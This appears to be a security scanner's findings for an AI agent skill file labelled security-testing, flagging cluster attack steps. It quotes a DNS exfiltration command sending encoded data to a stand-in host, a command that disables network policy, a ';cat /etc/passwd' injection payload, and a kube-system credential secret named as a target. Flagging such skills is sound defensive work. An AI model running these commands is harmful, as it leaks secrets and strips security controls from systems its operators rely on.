The Agent Skills Directory

[DATA_EXFILTRATION]: Phase 4.1 of SKILL.md provides a command for DNS-based exfiltration ('nslookup $(echo "sensitive-data" | base64).exfil.example.com'), which allows sensitive information to be transmitted outside the cluster via DNS queries.- [COMMAND_EXECUTION]: Phase 1.4 in SKILL.md details how to disable network policy enforcement by labeling namespaces ('kubectl label namespace network-policy.homelab/enforcement=disabled'), effectively removing security constraints for that namespace.- [CREDENTIALS_UNSAFE]: Phase 3.3 in SKILL.md identifies the 'external-secrets-access-key' in the 'kube-system' namespace as a target, noting that it provides access to critical secrets including Cloudflare tokens, GitHub OAuth secrets, and private keys via AWS SSM.- [COMMAND_EXECUTION]: Phase 2.1 in SKILL.md contains specific exploit payloads for WAF bypass, including SQL injection and command injection (e.g., ';cat /etc/passwd'), designed to be executed via curl against cluster gateways.- [COMMAND_EXECUTION]: Phase 1.5 in SKILL.md demonstrates how to inject unauthorized HTTPRoutes to expose internal services to the public internet by attaching them to the external gateway.

security-testing